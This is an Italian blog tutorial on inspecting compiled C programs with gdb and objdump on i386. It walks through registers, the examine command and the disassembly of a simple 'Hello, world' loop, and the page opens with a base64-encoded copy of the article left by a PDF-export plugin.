L3NwYW4+IDxzcGFuIHN0eWxlPSJjb2xvcjogI2NjNjZjYzsiPjExMTwvc3Bhbj4gPHNwYW4gc3R5bGU9ImNvbG9yOiAjZmYwMDAwOyI+J28nPC9zcGFuPiA8c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij40NDwvc3Bhbj4gPHNwYW4gc3R5bGU9ImNvbG9yOiAjZmYwMDAwOyI+JywnPC9zcGFuPgo8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj5nZGI8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQxOzwvc3Bhbj4geDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPi88L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMDY2OyI+czwvc3Bhbj4gMHg4MDQ4NGQwCjB4ODA0ODRkMDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogI2ZmMDAwMDsiPiZxdW90O0hlbGxvLCB3b3JsZCEmcXVvdDs8L3NwYW4+PC9wcmU+PC9kaXY+PC9kaXY+Cgo8cD5Ob3RpYW1vIGNoZSBjb250aWVuZSBpbCB2YWxvcmUgPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyI+PGVtPjB4NmM2YzY1NDg8L2VtPjwvc3Bhbj4gY2hlIGNvZGlmaWNhdG8gaW4gQVNDSUkgY29ycmlzcG9uZGUgYWQgJiM4MjIwO0hlbGxvLCYjODIyMTsgaW5mYXR0aSB0cmFtaXRlIGwmIzgyMTc7b3B6aW9uZSA8ZW0+YzwvZW0+IGVmZmV0dHVhIGxhIGNvZGlmaWNhIGRpIG9nbmkgc2luZ29sbyBieXRlIGluIEFTQ0lJIG1lbnRyZSBjb24gPGVtPnM8L2VtPiBjb252ZXJ0ZSBwcm9wcmlvIHR1dHRhIGxhIHN0cmluZ2EuPC9wPgo8cD5QZXIgdWx0aW1vIGwmIzgyMTc7aXN0cnV6aW9uZSBhbGxhIGxvY2F6aW9uZSA8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Ij48ZW0+MHg4MDQ4M2VhPC9lbT48L3NwYW4+IG5vbiBmYSBhbHRybyBjaGUgaW5jcmVtZW50YXJlIGRpIHVubyBpbCB2YWxvcmUgYWxsJiM4MjE3O2ludGVybm8gZGkgPHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyI+PGVtPmVicCAmIzgyMTE7IDg8L2VtPjwvc3Bhbj4sIGxhIHF1YWxlIHBvaSB2aWVuZSBwb2kgY29udHJvbGxhdGEgZGFsIHNhbHRvIGNvbmRpemlvbmF0by48L3A+CjxwPkdpdXN0byBwZXIgY29tcGxldGFyZSBpbCBkaXNjb3JzbywgcHJvY2VkaWFtbyBjb24gZGl2ZXJzaSA8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Ij48ZW0+bmV4dGk8L2VtPjwvc3Bhbj4gZmlubyBhbGxhIGZpbmUgZGVsIGRlbCBjaWNsbyA8ZW0+Zm9yPC9lbT4gb3NzaWEgcXVhbmRvIGwmIzgyMTc7PHNwYW4gc3R5bGU9InRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyI+PGVtPmVicCAmIzgyMTE7IDg8L2VtPjwvc3Bhbj4gY29udGllbmUgaWwgdmFsb3JlIDEwLiBJbmZpbmUgY29udHJvbGxpYW1vIGNoZSBsJiM4MjE3OzxlbT5laXA8L2VtPiBwdW50YSBhbGwmIzgyMTc7dXNjaXRhIGRlbCBjaWNsbzo8L3A+Cgo8ZGl2IGNsYXNzPSJ3cF9zeW50YXgiPjxkaXYgY2xhc3M9ImNvZGUiPjxwcmUgY2xhc3M9InBlcmwiIHN0eWxlPSJmb250LWZhbWlseTptb25vc3BhY2U7Ij48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQwOzwvc3Bhbj5nZGI8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQxOzwvc3Bhbj4geDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPi88L3NwYW4+ZCAweGJmZmY3ZDEwCjB4YmZmZjdkMTA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjY2M2NmNjOyI+MTA8L3NwYW4+CjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDA7PC9zcGFuPmdkYjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDE7PC9zcGFuPiBpIHIgZWlwCmVpcCAgICAgICAgICAgIDB4ODA0ODNlZSAgICAgICAgMHg4MDQ4M2VlCjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDA7PC9zcGFuPmdkYjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDE7PC9zcGFuPiB4PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Lzwvc3Bhbj4xMGkgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMGZmOyI+JGVpcDwvc3Bhbj4KMHg4MDQ4M2VlIDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogI2IxYjEwMDsiPmNtcDwvc3Bhbj4gICAgRFdPUkQgUFRSIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjOTE7PC9zcGFuPmVicDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPi08L3NwYW4+MHg4PHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM5Mzs8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+LDwvc3Bhbj4weDkKMHg4MDQ4M2YyIDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgIGpsZSAgICAweDgwNDgzZGUKMHg4MDQ4M2Y0IDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgIG1vdiAgICBlYXg8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4sPC9zcGFuPjB4MAoweDgwNDgzZjkgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ojwvc3Bhbj4gICAgYWRkICAgIGVzcDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPiw8L3NwYW4+MHgxNAoweDgwNDgzZmMgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ojwvc3Bhbj4gICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMDY2OyI+cG9wPC9zcGFuPiAgICBlY3gKMHg4MDQ4M2ZkIDxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgIDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwMDA2NjsiPnBvcDwvc3Bhbj4gICAgZWJwCjB4ODA0ODNmZSA8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij46PC9zcGFuPiAgICBsZWEgICAgZXNwPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+LDwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzkxOzwvc3Bhbj5lY3g8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4tPC9zcGFuPjB4NDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjOTM7PC9zcGFuPgoweDgwNDg0MDEgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ojwvc3Bhbj4gICAgcmV0CjB4ODA0ODQwMjxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgICAgbm9wCjB4ODA0ODQwMzxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjo8L3NwYW4+ICAgICAgbm9wCjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDA7PC9zcGFuPmdkYjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDE7PC9zcGFuPiBuZXh0aQoweDA4MDQ4M2YyICAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjY2M2NmNjOyI+Njwvc3Bhbj4gICAgICAgICA8c3BhbiBzdHlsZT0iY29sb3I6ICNiMWIxMDA7Ij5mb3I8L3NwYW4+IDxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDA7PC9zcGFuPmk8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij49PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogI2NjNjZjYzsiPjA8L3NwYW4+PHNwYW4gc3R5bGU9ImNvbG9yOiAjMzM5OTMzOyI+Ozwvc3Bhbj4gaSA8c3BhbiBzdHlsZT0iY29sb3I6ICMwMDAwZmY7Ij4mYW1wO2x0PC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjs8L3NwYW4+IDxzcGFuIHN0eWxlPSJjb2xvcjogI2NjNjZjYzsiPjEwPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjs8L3NwYW4+IGk8c3BhbiBzdHlsZT0iY29sb3I6ICMzMzk5MzM7Ij4rKzwvc3Bhbj48c3BhbiBzdHlsZT0iY29sb3I6ICMwMDk5MDA7Ij4mIzQxOzwvc3Bhbj4KPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MDs8L3NwYW4+Z2RiPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MTs8L3NwYW4+IGkgciBlaXAKZWlwICAgICAgICAgICAgMHg4MDQ4M2YyICAgICAgICAweDgwNDgzZjIKPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MDs8L3NwYW4+Z2RiPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDA5OTAwOyI+JiM0MTs8L3NwYW4+IG5leHRpCjxzcGFuIHN0eWxlPSJjb2xvcjogI2NjNjZjYzsiPjEwPC9zcGFuPiAgICAgICAgPHNwYW4gc3R5bGU9ImNvbG9yOiAjMDAwMDY2OyI+cmV0dXJuPC9zcGFuPiA8c3BhbiBzdHlsZT0iY29sb3I6ICNjYzY2Y2M7Ij4wPC9zcGFuPjxzcGFuIHN0eWxlPSJjb2xvcjogIzMzOTkzMzsiPjs8L3NwYW4+CjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDA7PC9zcGFuPmdkYjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwOTkwMDsiPiYjNDE7PC9zcGFuPiBpIHIgZWlwCmVpcCAgICAgICAgICAgIDB4ODA0ODNmNCAgICAgICAgMHg4MDQ4M2Y0PC9wcmU+PC9kaXY+PC9kaXY+Cgo8cD5Qb3NzaWFtbyB2ZWRlcmUgZGFsbCYjODIxNztvdXRwdXQgY29tZSBhcHB1bnRvIGwmIzgyMTc7PGVtPmVpcDwvZW0+IHB1bnRhIDxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxlbT4weDgwNDgzZjQ8L2VtPjwvc3Bhbj4gZSBub24gcGnDuSA8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Ij48ZW0+MHg4MDQ4M2RlPC9lbT48L3NwYW4+IGNvbWUgbmVpIHByZWNlZGVudGkgY2FzaSwgY29uZmVybWFuZG8gYXBwdW50byBsJiM4MjE3O3VzY2l0YSBkYWwgY2ljbG8gPGVtPmZvcjwvZW0+LjwvcD4KPHA+QmVuZSBvcmEgY2hlIGFiYmlhbW8gYXBwcmVzbyBpIGNvbmNldHRpIGJhc2UgZGVsIGRlYnVnZ2luZyBpbW1hZ2luYXRlIGNvc2EgcG90cmViYmUgY2FwaXRhcmUgc2UgdW4gYXR0YWNjYW50ZSByaWVzY2EgYSBzb3ZyYXNjcml2ZXJlIGw8ZW0+JiM4MjE2O2VpcDwvZW0+IGZhY2VuZG9sbyBwdW50YXJlIGFkIHVuYSBsb2NhemlvbmUgZGkgbWVtb3JpYSBhcmJpdHJhcmlhIGEgbHVpIGNvbmdlbmlhbGUhPC9wPgo8cD5CdW9uIGRlZ3VnZ2luZyBhIHR1dHRpLjwvcD4K" /></form> <div class="pdf24Plugin-cp-link"> 	<a href="javascript:void(document.pdf24Form3.submit());" onclick="var pdf24Win = window.open('about:blank', 'pdf24PopWin', 'resizable=yes,scrollbars=yes,width=400,height=200,top=0,left=0'); pdf24Win.focus(); return true;"><img src="http://www.manzotti.eu/wp-content/plugins/pdf24-post-to-pdf/img/sheep_16x16.gif" alt="Word PDF" border="0" /></a> <!--	<a href="javascript:void(document.pdf24Form3.submit());" onclick="var pdf24Win = window.open('about:blank', 'pdf24PopWin', 'resizable=yes,scrollbars=yes,width=400,height=200,top=0,left=0'); pdf24Win.focus(); return true;">Scarica l'articolo in formato PDF</a> --> </div> </div> <p>Con questo articolo diamo un&#8217;occhiata a quelle che sono le principali tecniche di <a href="http://it.wikipedia.org/wiki/Debugging">debugging</a> in ambito unix per capire meglio il funzionamento del linguaggio <a href="http://it.wikipedia.org/wiki/Assembly">assembly</a>.</p>
<p>Due sono i principali strumenti impiegati per questo genere di operazioni:<br />
- <span style="text-decoration: underline;"><em>Objdump</em></span> è un tool che viene utilizzato per esaminare i file binari compilati<br />
- <span style="text-decoration: underline;"><em>Gdb</em></span> è un debugger per seguire passo-passo il flusso dei programmi compilati</p>
<p>Tramite questi programmi è facile interrogare i registri presenti nella CPU per visualizzarne il contenuto e capire come viene allocata la memoria. Nel nostro esempio ho adottato una classica architettura <a href="http://it.wikipedia.org/wiki/Intel_80386">Intel i386</a>, presente nella maggior parte dei pc. In questo ambiente i principali registri con i quali la CPU lavora sono i seguenti:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;">EAX<span style="color: #339933;">:</span> accumulatore
ECX<span style="color: #339933;">:</span> contatore
EDX<span style="color: #339933;">:</span> dati
EBX<span style="color: #339933;">:</span> base
EIP<span style="color: #339933;">:</span> puntatore alla istruzione successiva
ESP<span style="color: #339933;">:</span> puntatore della fine dello stack
EBP<span style="color: #339933;">:</span> puntatore al frame corrente
SPF<span style="color: #339933;">:</span> riporta EBP al valore precedente
ESI<span style="color: #339933;">:</span> indice di origine
EDI<span style="color: #339933;">:</span> indice di destinazione</pre></div></div>

<p>Per effettuare le interrogazioni adotteremo il comando <em>x</em>, che sta appunto per <span style="text-decoration: underline;"><em>examine</em></span>, specificando anche come visualizzare l&#8217;output del registro esaminato:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;">x<span style="color: #339933;">/</span>x <span style="color: #339933;">=</span> esamina in esadecimale
x<span style="color: #339933;">/</span>o <span style="color: #339933;">=</span> esamina in ottale
x<span style="color: #339933;">/</span>u <span style="color: #339933;">=</span> esamina in decimale senza segno
x<span style="color: #339933;">/</span>d <span style="color: #339933;">=</span> esamina in decimale
x<span style="color: #339933;">/</span><span style="color: #000066;">s</span> <span style="color: #339933;">=</span> esamina in stringa
x<span style="color: #339933;">/</span>i <span style="color: #339933;">=</span> esamina un istruzione</pre></div></div>

<p>Inoltre digitando un numero subito dopo lo slash è possibile specificare quanti byte interrogare. Ricordo che ogni lettera ASCII corrisponde ad un byte (ad esempio la lettera &#8220;A&#8221; corrisponde 0&#215;41 scritto in esadecimale).</p>
<p>Analizziamo ora il nostro primo programma in C firstprog.c:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">#include</span>
<span style="color: #000066;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
  <span style="color: #000066;">int</span> i<span style="color: #339933;">;</span>
  <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> i <span style="color: #0000ff;">&amp;lt</span><span style="color: #339933;">;</span> <span style="color: #cc66cc;">10</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
  <span style="color: #009900;">&#123;</span>
    <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Hello, world!<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
  <span style="color: #000066;">return</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Questo programma non fa altro che stampare 10 volte di seguito la stringa &#8220;Hello world&#8221;. Tale codice anche se risulta molto semplice e banale, è tuttavia utile a capire in prima battuta il funzionamento dell&#8217;assembly. Procediamo dunque con la compilazione:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># gcc -g firstprog.c -o firstprog</span></pre></div></div>

<p>Ora che abbiamo l&#8217;eseguibile passiamo all&#8217;analisi con <em>gdb</em>:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># gdb -q ./firstprog</span>
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> set dis intel
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> list
<span style="color: #cc66cc;">1</span>       <span style="color: #666666; font-style: italic;">#include</span>
<span style="color: #cc66cc;">2</span>
<span style="color: #cc66cc;">3</span>       <span style="color: #000066;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
<span style="color: #cc66cc;">4</span>       <span style="color: #009900;">&#123;</span>
<span style="color: #cc66cc;">5</span>         <span style="color: #000066;">int</span> i<span style="color: #339933;">;</span>
<span style="color: #cc66cc;">6</span>         <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> i <span style="color: #0000ff;">&amp;lt</span><span style="color: #339933;">;</span> <span style="color: #cc66cc;">10</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
<span style="color: #cc66cc;">7</span>         <span style="color: #009900;">&#123;</span>
<span style="color: #cc66cc;">8</span>           <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Hello, world!<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #cc66cc;">9</span>         <span style="color: #009900;">&#125;</span>
<span style="color: #cc66cc;">10</span>        <span style="color: #000066;">return</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span></pre></div></div>

<p>Con l&#8217;opzione <em>-q</em> evitiamo di stampare banner inutili, mentre con l&#8217;opzione <span style="text-decoration: underline;"><em>set dis intel</em></span> abbiamo un output dell&#8217;assembly molto più leggibile.<br />
Proseguiamo disassemblando il <span style="text-decoration: underline;"><em>main</em></span> e dando una prima occhiata alla locazione della memoria:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> disassemble main
Dump of assembler code <span style="color: #b1b100;">for</span> function main<span style="color: #339933;">:</span>
0x080483c4 <span style="color: #339933;">:</span>    lea    ecx<span style="color: #339933;">,</span><span style="color: #009900;">&#91;</span>esp<span style="color: #339933;">+</span>0x4<span style="color: #009900;">&#93;</span>
0x080483c8 <span style="color: #339933;">:</span>    <span style="color: #b1b100;">and</span>    esp<span style="color: #339933;">,</span>0xfffffff0
0x080483cb <span style="color: #339933;">:</span>    <span style="color: #000066;">push</span>   DWORD PTR <span style="color: #009900;">&#91;</span>ecx<span style="color: #339933;">-</span>0x4<span style="color: #009900;">&#93;</span>
0x080483ce <span style="color: #339933;">:</span>   <span style="color: #000066;">push</span>   ebp
0x080483cf <span style="color: #339933;">:</span>   mov    ebp<span style="color: #339933;">,</span>esp
0x080483d1 <span style="color: #339933;">:</span>   <span style="color: #000066;">push</span>   ecx
0x080483d2 <span style="color: #339933;">:</span>   <span style="color: #000000; font-weight: bold;">sub</span>    esp<span style="color: #339933;">,</span>0x14
0x080483d5 <span style="color: #339933;">:</span>   mov    DWORD PTR <span style="color: #009900;">&#91;</span>ebp<span style="color: #339933;">-</span>0x8<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x0
0x080483dc <span style="color: #339933;">:</span>   jmp    0x80483ee
0x080483de <span style="color: #339933;">:</span>   mov    DWORD PTR <span style="color: #009900;">&#91;</span>esp<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x80484d0
0x080483e5 <span style="color: #339933;">:</span>   call   0x80482f4
0x080483ea <span style="color: #339933;">:</span>   add    DWORD PTR <span style="color: #009900;">&#91;</span>ebp<span style="color: #339933;">-</span>0x8<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x1
0x080483ee <span style="color: #339933;">:</span>   <span style="color: #b1b100;">cmp</span>    DWORD PTR <span style="color: #009900;">&#91;</span>ebp<span style="color: #339933;">-</span>0x8<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x9
0x080483f2 <span style="color: #339933;">:</span>   jle    0x80483de
0x080483f4 <span style="color: #339933;">:</span>   mov    eax<span style="color: #339933;">,</span>0x0
0x080483f9 <span style="color: #339933;">:</span>   add    esp<span style="color: #339933;">,</span>0x14
0x080483fc <span style="color: #339933;">:</span>   <span style="color: #000066;">pop</span>    ecx
0x080483fd <span style="color: #339933;">:</span>   <span style="color: #000066;">pop</span>    ebp
0x080483fe <span style="color: #339933;">:</span>   lea    esp<span style="color: #339933;">,</span><span style="color: #009900;">&#91;</span>ecx<span style="color: #339933;">-</span>0x4<span style="color: #009900;">&#93;</span>
0x08048401 <span style="color: #339933;">:</span>   ret
End of assembler <span style="color: #000066;">dump</span><span style="color: #339933;">.</span></pre></div></div>

<p>Questo output ci mostra la traduzione della funzione <em><span style="text-decoration: underline;">main</span> </em>del nostro programma in assembly. Ad un primo sguardo è possibile capire la sintassi: <em><span style="text-decoration: underline;">locazione della memoria</span> in esadecimale: <span style="text-decoration: underline;">operatore</span> registro <span style="text-decoration: underline;">destinazione</span>, registro d&#8217;<span style="text-decoration: underline;">origine</span></em>. Tuttavia in questo momento nessun registro risulta visualizzabile, proprio perchè ancora  il programma non è stato effettivamente lanciato. Poniamo dunque <span style="text-decoration: underline;"><em>break</em></span> al main, lanciamo l&#8217;eseguibile e analizziamo i registri:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> break main<span style="color: #339933;">:</span>
Breakpoint <span style="color: #cc66cc;">1</span> at 0x80483d5<span style="color: #339933;">:</span> file firstprog<span style="color: #339933;">.</span>c<span style="color: #339933;">,</span> line 6<span style="color: #339933;">.</span>
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> run
Starting program<span style="color: #339933;">:</span> <span style="color: #339933;">./</span>firstprog
&nbsp;
Breakpoint <span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> main <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> at firstprog<span style="color: #339933;">.</span>c<span style="color: #339933;">:</span><span style="color: #cc66cc;">6</span>
<span style="color: #cc66cc;">6</span>         <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i<span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> i <span style="color: #0000ff;">&amp;lt</span><span style="color: #339933;">;</span> <span style="color: #cc66cc;">10</span><span style="color: #339933;">;</span> i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> i r
eax            0xbfe3fc04       <span style="color: #339933;">-</span><span style="color: #cc66cc;">1075577852</span>
ecx            0xbfe3fb80       <span style="color: #339933;">-</span><span style="color: #cc66cc;">1075577984</span>
edx            0x1      <span style="color: #cc66cc;">1</span>
ebx            0xb800bff4       <span style="color: #339933;">-</span><span style="color: #cc66cc;">1207910412</span>
esp            0xbfe3fb50       0xbfe3fb50
ebp            0xbfe3fb68       0xbfe3fb68
esi            0x8048420        <span style="color: #cc66cc;">134513696</span>
edi            0x8048310        <span style="color: #cc66cc;">134513424</span>
eip            0x80483d5        0x80483d5
eflags         0x200286 <span style="color: #009900;">&#91;</span> PF SF IF ID <span style="color: #009900;">&#93;</span>
cs             0x73     <span style="color: #cc66cc;">115</span>
ss             0x7b     <span style="color: #cc66cc;">123</span>
ds             0x7b     <span style="color: #cc66cc;">123</span>
es             0x7b     <span style="color: #cc66cc;">123</span>
fs             0x0      <span style="color: #cc66cc;">0</span>
gs             0x33     <span style="color: #cc66cc;">51</span>
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> i r eip
eip            0x80483d5        0x80483d5</pre></div></div>

<p>In particolare analizziamo il registro l&#8217;<em>eip</em>, il quale punta alla prossima istruzione da eseguire, analizzando la memoria sulla quale sta puntando. Entrambi i comandi mostrano lo stesso output proprio perchè effettivamente stiamo effettuando la stessa richiesta.</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>x 0x80483d5
0x80483d5 <span style="color: #339933;">:</span>    0x00f845c7
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>x <span style="color: #0000ff;">$eip</span>
0x80483d5 <span style="color: #339933;">:</span>    0x00f845c7
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>i <span style="color: #0000ff;">$eip</span>
0x80483d5 <span style="color: #339933;">:</span>    mov    DWORD PTR <span style="color: #009900;">&#91;</span>ebp<span style="color: #339933;">-</span>0x8<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x0</pre></div></div>

<p>Inoltre aggiugendo il numero 6 prima della <em>i</em> di <span style="text-decoration: underline;"><em>instruction</em></span> possiamo vedere le 6 successive istruzioni.</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>6i <span style="color: #0000ff;">$eip</span>
0x80483d5 <span style="color: #339933;">:</span>    mov    DWORD PTR <span style="color: #009900;">&#91;</span>ebp<span style="color: #339933;">-</span>0x8<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x0
0x80483dc <span style="color: #339933;">:</span>    jmp    0x80483ee
0x80483de <span style="color: #339933;">:</span>    mov    DWORD PTR <span style="color: #009900;">&#91;</span>esp<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x80484d0
0x80483e5 <span style="color: #339933;">:</span>    call   0x80482f4
0x80483ea <span style="color: #339933;">:</span>    add    DWORD PTR <span style="color: #009900;">&#91;</span>ebp<span style="color: #339933;">-</span>0x8<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x1
0x80483ee <span style="color: #339933;">:</span>    <span style="color: #b1b100;">cmp</span>    DWORD PTR <span style="color: #009900;">&#91;</span>ebp<span style="color: #339933;">-</span>0x8<span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span>0x9</pre></div></div>

<p>A questo punto si vede come al registro puntato di <em>eip</em> c&#8217;è una <em>&#8220;<span style="text-decoration: underline;">DWORD PTR [ebp-0x8],0&#215;0</span>&#8220;</em>. Tale operazione significa che il valore zero viene allocato alla locazione <span style="text-decoration: underline;"><em>ebp &#8211; 8</em></span> ossia <span style="text-decoration: underline;"><em>0xbfff7d10</em></span> che al momento contiene <span style="text-decoration: underline;"><em>0xb7febf50</em></span>:</p>

<div class="wp_syntax"><div class="code"><pre class="perl" style="font-family:monospace;"><span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> i r ebp
ebp            0xbfff7d18       0xbfff7d18
<span style="color: #009900;">&#40;</span>gdb<span style="color: #009900;">&#41;</span> x<span style="color: #339933;">/</span>x <span style="color: #0000ff;">$ebp</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">8</span>
0xbfff7d10<span style="color: #339933;">:</span>     0xb7febf50</pre></div></div>

